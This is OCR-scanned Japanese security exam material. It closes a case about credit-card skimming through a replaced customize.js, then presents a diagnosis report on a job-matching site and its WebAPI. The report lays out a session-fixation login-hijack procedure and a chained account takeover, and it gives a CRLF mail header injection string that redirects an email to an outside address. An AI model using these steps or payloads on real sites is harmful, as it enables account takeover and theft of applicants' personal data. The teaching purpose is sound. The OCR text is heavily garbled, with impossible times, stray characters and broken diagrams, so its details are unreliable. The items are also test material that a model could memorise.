[クレジットカード情報の漏えいの調査と対策] 本件に関する利用者からの問合せは,6月15日21時45分が最後であり,合計32 件あった。次は,customize.jsの置換えによる影響の調査に関するRさんと6さんの 会話である。 Rさん:クレジットカード情報入力フォームが2回表示されたのは,customize.jsが 置き換えられていた影響で偽フォームが表示されたからだったのか。 Gさん:そのとおりです。2回目に表示されたクレジットカード情報入力フォームに クレジットカード情報を入力し,送信している場合だけ,当社で注文が完 了していました。 Rさん:ダミーのクレジットカード情報を設定して図2でGETリクエストが送られる 先のURLにアクセスしたところ,494のステータスコードが返ってきた。も し,攻撃者のWebサーバが適切なかステータスコードを返しているとしたら, この結果から,攻撃者のWebサーバにWebアプリケーションプログラムが用 意されておらず,クレジットカード情報は盗まれていないと判断してよいか。 ーー27ーー Gさん:③利用者が改ざんされた画面に入力して,クレジットカード情報が送信され てしまったときに,攻撃者のWebサーバでWebアプリケーションプログラム を用意していなくても,攻撃者は利用者の入力したクレジットカード情報 を取得する方法があります。クレジットカード情報は盗まれたと判断すべ SCT, Rさん:クレジットカード情報の漏えいの可能性について利用者に案内を出したい。 攻撃者のWebサーバにクレジットカード情報を送信した利用者を特定してほ しい。攻撃者のWebサーバに情報を送信してしまった利用者は漏れなく特定 したいが,送信していない利用者はできるだけ含めたくない。そのために は,どのようにすればよいのか。 GSA:V社の報告から,customize.jsの置換えの影響のあった期間は6月11日13 時12分から6月16日9時99分と考えられます。攻撃者のWebサーバにク レジットカード情報を送信する直前までの操作をした利用者を被害者候補 として特定するために,その期間のアプリケーションログから|f| を抽出したいと思います。 Rさん:それで抽出してくれ。 その後,6さんは,プロキシサーバなどのキャッシュの影響も考慮した上で,被害 者候補を特定し,その情報を基に案内を出した。また,J tlt,関係当局に報告,届 出を行うとともに,V社と協力して再発防止策を検討し,実施した。さらに,Webサ ーバのファイルの改ざん検知の検討を行うことにした。' ー28一

共通の文章

セキュリティ診断に関する次の記述を読んで,設問に答えよ。 B社は,セキュリティ診断サービスを提供している会社である。このたび,転職支 援サービスを提供しているM ADS,転職支援Webサイト(以下,Mサイトという) のセキュリティ診断を受注した。 Mサイトを利用する求職者は,氏名,自宅住所,電話番号,勤務先などの求職者属 性情報と,希望職種,希望条件などの求職情報を入力する。求人企業は,会社情報, 求人情報,求人担当者の氏名,所属部署などの情報を入力する。これらの情報は,M サイトのデータベースに保存される。Mサイトでは,入力された情報に基づいて,求 職者と求人企業のマッチングを行っている。求職者は,マッチングで提案された企 業に問合せや応募をすることができる。 Mサイトは,機能を追加した新しいバージョンのWebアプリケーションプログラム (以下,MサイトのWebアプリケーションプログラムをWebアプリという)と,求人 企業がアプリケーションプログラムからHTTPSで呼び出すことを想定したインタフェ ース(以下,このインタフェースをWebAPIという)の開発が完了したところであり, リリース前である。 [セキュリティ診断の診断対象と診断方法〕 今回のセキュリティ診断の診断対象と診断方法は,図1のとおりである。 【診断対象】 ・Mサイトには本番用サイトと検証用サイトがあり,診断対象は』サイトの検証用サイトとす る。検証用サイトには,開発が完了した新しいバージョンのWebアプリが導入されている。な お,本番用サイトと検証用サイトは,同一の構成である。 ・検証用サイトでは,アクセス元のIPアドレスを制限している。診断に当たり,B社からも検 証用サイトにアクセスできるように,検証用サイトの設定を変更する。 ・検証用サイトには,テスト用疑似データが投入されている。 【診断方法】 ・B社の社内にある診断用PCからインターネットを経由して診断を行う。 ・Webアプリの脆弱性の検出と,Webサーバのプラットフォームの脆弱性の検出を行う。 ・Webアプリの脆弱性の検出は,診断ツールと診断員の手作業で行う。 ・Webサーバのプラットフォームの脆弱性の検出は,診断ツールで行う。 ・診断に当たり,必要に応じてMサイトの設計書を参照する。 図1診断対象と診断方法 ー30一 Mサイトの設計書の中で参照した部分を,M2,図3及び表1に示す。 1.プロトコルは,HTTPSとする。 2.RESTfuL APIによって,次の機能を求人企業に提供する。 (1)日時の範囲を指定して,当該企業宛てに問合せがあった求職者の求職者ID"を取得する。 (2)日時の範囲を指定して,当該企業宛てに応募があった求職者の求職者IDを取得する。 (3)任意の求職者IDを指定して,求職者属性情報を取得する。 3.求人企業の認証方式は次のとおりとする。; (1)WebAPIを利用する際の利用者認証のために,Mサイトの利用者ID?と組付けられたAPIkey を発行する。APIkeyの有効期間は,発行後14日間とする。 (2)WebAPIを利用する際のHTTP Request内のAPIkeyが,発行済みのものであり,かつ,有 効期間内であるか確認することで,正規利用者であるかどうかを確認する。 4.APIkeyについては,次のとおりとする。 (1)求人企業のうち,WebAPIの利用契約を締結済みの企業だけにAPIkeyを発行する。利用契 約で認めている求職者属性情報の利用範囲は,当該企業への問合せ又は当該企業への応募そ れぞれに関する対応だけである。 (2)一つの利用者IDに対して複数のAPIkeyを発行できる。 (3)求職者には,APIkeyを発行しない。 SE求職者がMサイトに利用者登録をした年月日の8桁の数字の後ろに,日ごとに000001から 登録順に割り当てられる6桁の数字を加えた数字14桁の文字列である。 注9 Mサイトを利用する求職者及び求人企業の担当者ごとに発行される。 図2 WebAPIの仕様 中31ーー 91ログイン02求人企業トップ03 Se SF ey 利用者D|||(ヵ)求人情報登録(04) Pw[i応募者確認プロバテる) EZ Oak (イ)-キ) (②)し>(rar)(x)ーー—_ 04 APIkey管理95 PW再確認(1)96 APIkey一覧 発行済みAPIkey数:3 PW[|001:01234…abcde (ク):(2)|002:stuvw---98765 (APIkey確認)-|ーー光|003:abcde---09876|.) (93へ) 97 PW再確認(2)08 APIkey発行 (4)(シ)eae(2) wld 004:12345…bcdef Pay RE)|--(03) 19メール送信完了(1) 09求人企業プロパティ変更(あ)メールを送信しました 会社名[|トー(&)?|メール中のリンクから処理 『ーーーーーータ|を継続してください 部著る。トー-| メールアドレス[|11求人企業プロパティ変更完了 ヽ2) プロパティを変更しました|、 C#m yf=1--_-2)OK HS(03) 12 PW変更13 PW変更完了 旧PM[||PWを変更しました (F)(4) i wenしーー——CRサタ(03) (確認用)| @-}----- PW:パスワードメール:電子メールトー:メール —P:クロスサイトリクエストフォージェリ(CSRF)対策が施されていない画面須移 ーーーツ:CSRF対策が施された画面居移 図3画面遷移図(抜粋) 14 PW再設定(1)15メール送信完了(2) 利用者1D=(=)』|ARO Y 1 7 5 IIE レーマダの(い)メールを送信しました ニーーーーーーニーーー>|を継続してください 16 PW再設定(2)17 PW再設定完了 新PW[||(ト)(ナ) PWを再設定しました <Pーーーーーー>(B14) (a 1 ーーーーー 注記1ログインしていない状態で,02~13の画面にアクセスした場合.エラー画面が表示される。 注記2設問に関係しない画面,ボタン及び画面大移は省略している。 注り画面99でメールアドレスを変更した場合の画面遷移である。画面乱移の際,Mサイトから, 変更前のメールアドレスに,確認用URLが記載されたメール(あ)を送信する。利用者がメール (あ)に記載された確認用URLにアクセスすると,変更を反映し,画面11を表示するとともに, Mサイトから,変更前及び変更後のメールアドレスに,変更内容が記載されたメールを送信す Ds 2画面99 CX-WP ELALHAKEW ERE LEMAOUMEE CHS. 注?HM@BBOR,Mサイトから,登録しているメールアドレスに,PW再設定用URLが記載され たメール(い)を送信する。利用者がメール(い)に記載されたPW再設定用URLにアクセスする と,画面16を表示する。 図3画面乱移図(抜粋)(続き) 表1各画面のURL [ames[|MM M 6《〔6〔〈%《'| https://test.AA-jp/ https://test.AAA.jp/mypage https://test.AAA.ip/apikey https://test.AAA.jp/keylist https://test.AAA.jp/keynew https://test.AAA.jp/property https://test.AAA.jp/pwehange https://test.AAA.jp/pwreset 67s https://test.AAA.jp/pwreset/x” 注xは,PW再設定を行う都度生成されるランダムな英数字32字の文字列である。 [セキュリティ診断報告書〕 B社は,セキュリティ診断を実施し,4の診断報告書を作成した。 診断報告書 1章診断結果概要 1.1診断結果要約 Mサイトで,脆弱性を検出した。 (省略) 1.2検出した脆弱性の件数 (省略) 2章Webアプリケーションプログラムの診断結果 2.1検出した脆弱性の概要 検出した脆弱性は,表Aのとおりである。 表A検出したWebアプリケーションプログラムの脆弱性の一覧 脆弱性の種類検出箇所 (<a)ames L_a__| (省略)|メールヘッダーインジェクション|メール(あ)の送信 (省略)|HTTPヘッダーの不備全ての画面遷移 2.2検出した脆弱性の説明 2.2.1セッションフィクセーション (1)脆弱性の内容 Mサイトではform内のhiddenフィールドであるsessionIDの値だけでセッション管理 を実施していた。LAL,表Bのいずれの画面遷移においても,HTTPレスポンス中の sessionIDの値が同一であった。 RBセッションフィクセーション脆弱性の確認 awe Webブラウザに直接URLを入力|<input type="hidden”id="sessionID”name="sessionID” して,画面91を表示したときva lue=”764b2ac2-9452-49e4-92a7-9914fa995911"> 画面遷移(了ア)<input type="hidden”id="sessionID”name=”sessionID” value=”764b2ac2-0452-49e4-92a7-0914fa005011”> Mie(4)<input type="hidden”id="sessionID”name="sessionID” value="764b2ac2-0452-49e4-92a7-09144a005011"> (Bit(1)<input type="hidden”id="sessionID”name=”"sessionID” value=”764b2ac2-0452-49e4-92a7-09144a005011”> 4診断報告書 =$4— 攻撃者が図Aの手順でこの脆弱性を悪用すると,WMサイトに不正にログインすることが CxS. 手順1:求人企業の登録メールアドレスを,何らかの方法で入手する。 手順2:URL“[|5|”にアクセスして,sessionIDを入手する。 手順3:次の二つの要素を含むHTMLを作成する。 -手順2で入手したsessionIDを記述したフォーム -当該HTMLがWebブラウザに読み込まれた直後に,上記のフォームをURL“[>|" にPOSTメソッドで送信するスクリプト 手順4:手順3で作成したHTMLを,罠サイトに置く。 手順5:手順4のHTMLへのリンクを含むおメールを作成し,手順1で入手したメールアドレ スに送信する。 手順6:手順5のメールがメール受信者に届き,罠サイトにアクセスするのを待つ。 手順7:庶サイトへのアクセスを検知後が完了することを期待して数分間 待ち手順2で入手したsessionIDを指定した状態で.URL"|pb J" アクセスする。 図Aセッションフィクセーション脆弱性を悪用して不正口グインする手順 攻撃者が、。セッションフィクセーション脆弱性を悪用して不正品グインに成功し,画面 02で応募者確認ボタンをクリックして,当該企業の求人に応募した求職者の求職者属性情 報と求職情報を閲覧できる。また,同じ画面92で問合せ確認ボタンをクリックして,当 該企業に問合せを行った求職者の求職者属性情報と問合せ内容を閲覧できる。 (2)脆弱性の修正方法 [a]の画面思移の際に実行されるコードにおいて,|d|することを推奨 する。 2.2.2メールヘッダーインジェクション この脆弱性は。メール(あ)について検出された。なお,メール(い)では,この脆弱性は検 出されなかった。 (1)脆弱性の内容 図Bの手順で操作を行ったところ,メール(あ)がabcOexample.comだけに送信され,本 来の宛先である変更前のメールアドレスには送信されなかった。abc@example.comに送信 されたメール(あ)の内容を表Cに示す。 時Pe 手順1:画面99の会社名に図Cの検査文字列を入力して変更ボタンをクリックする。 手順2:画面11でOKボタンをクリックする。 手順3:画面03でプロパティ変更ボタンをクリックして,BE,画面99を表示する。 図Bメールヘッダーインジェクション脆弱性を検出した手順 図4診断報告書(続き) @@株式会社%0D%9ATo:abc@examp le.com%0D%0A%9D%9A BICメールヘッダーインジェクションの検査文字列 表Cメール(あ)の内容 メール(あ)のヘッダー部の末尾Subject:久信株式会社 To:abc@example.com メール(あ)のボディ部の冒頭様のメールアドレス変更のお知らせ To:く<本来の宛先>” 注”<本来の宛先>には,変更前のメールアドレスが入っていた。 攻撃者がこの脆弱性を悪用するには,求人企業としてMサイトにログインする必要があ Bo求人企業としての登録には審査が必要であり,この脆弱性だけを利用して攻撃が行わ れるおそれは小さい。 (2)脆弱性の修正方法 (省略) 2.2.3 HTTPヘッダーの不備 (1)脆弱性の内容 表DのHTTPヘッダーは,出力するよう推奨されているが,いずれの画面遷移のHTTPレ スポンスにおいても出力されなかった。 表D出力されなかったHTTPヘッダー 設定した場合の主な効果 Content-Securjty-Policy Webブラウザが実行可能なスクリプトの有効なソ ースとなるドメインを,Mサイトで必要なものだ けに限定することができる。 i これらのHTTPヘッダーを設定することで他の脆弱性による被害を軽減することができ る。 (2)脆弱性の修正方法 (省略) 図4診断報告書(続き) 38プラットフォームの診断結果 3.1検出した脆弱性の概要 検出した脆弱性は,表Eののとおりである。 KE検出したプラットフォームの脆弱性の一覧 脆弱性の種類 (省略)|TLS 1.1が利用可能 Ca) 3.2検出した脆弱性の説明 3.2.1 TLS 1.1が利用可能 (省略) 3.2.2 HTTPサーバのバージョンの畜出 HTTPレスポンスのヘッダーに,HTTPサーバのバージョンが出力されている。 (省略) 4章総合評価 4.1想定される攻撃と被害 攻撃者が.セッションフィクセーション脆弱性を悪用するだけでも求職者属性情報を礼取す ることができるが,MDの順序で攻撃をした場合,不審なメールが求人企業に届かないので, 攻撃に気付かれることなく,WebAPIを悪用して,より多くの求職者属性情報を初取することが できる。 (1)図Aの手順で,Mサイトに不正にログインする。ただし,図Aの手順1で入手するメー ルアドレスは,WebAPIの利用権限をもつ求人企業のものである。 ゅしュ_] (3)画面99で,メールアドレスに攻撃者のメールアドレスを入力して,変更ボタンをクリ ックする。 (4)別の端末から,画面91でPW再設定ボタンをクリックし,(1)で不正にログインした利 用者IDに対する一連のパスワード再設定処理を行う。 (5)再設定後のパスワードでログインする。 (6) (7)WebAPIの機能を利用して,多数の求職者属性情報を初取する。 MDより多くの求職者属性情報の初取につながる攻撃 (省略) 図4診断報告書(続き) <s 37ーー 5章参考意見 本章は,弊社の知見に基づく参考意見である。 5.1 Mサイトの仕様についての意見 今回の診断の過程で,.Mサイトの仕様の一部を把握することができた。弊社が把握できた範 囲内でも,Mサイトの仕様には幾つかの問題点があり,RA CHEの脆弱性を修正したとして も,インターネットからの攻撃によって被害が発生するおそれがある。 5.1.1 WebAPIの仕様の改善 WebAPIに関して,仕様の改善の方針案と改善すべき理由を表Fに示す。改善によって,攻 撃による被害を未然に防止すること,又は被害を軽減することができる。 表F WebAPIの仕様の改善の方針案 仕様の改善の方針案改善すべき理由 lr[eee ee|ee ee 5.1.2 Webアプリケーションプログラムの求職者向け機能の仕様の改善 (省略) 5.1.3 Webアプリケーションプログラムの求人企業向け機能の仕様の改善 Webアプリケーションプログラムの求人企業向け機能に関して,仕様の改善の方針案と改 善すべき理由を表Gに示す。改善によって,攻撃による被害を未然に防止すること,又は被 害を軽減することができる。 表G Webアプリケーションプログラムの求人企業向け機能の仕様の改善の方針案 仕様の改善の方針案改善すべき理由 a[ces ee|ee ee (省略) 図4診断報告書(続き) B社は,M社に診断報告書を提出し,セキュリティ診断を完了した。 =38—_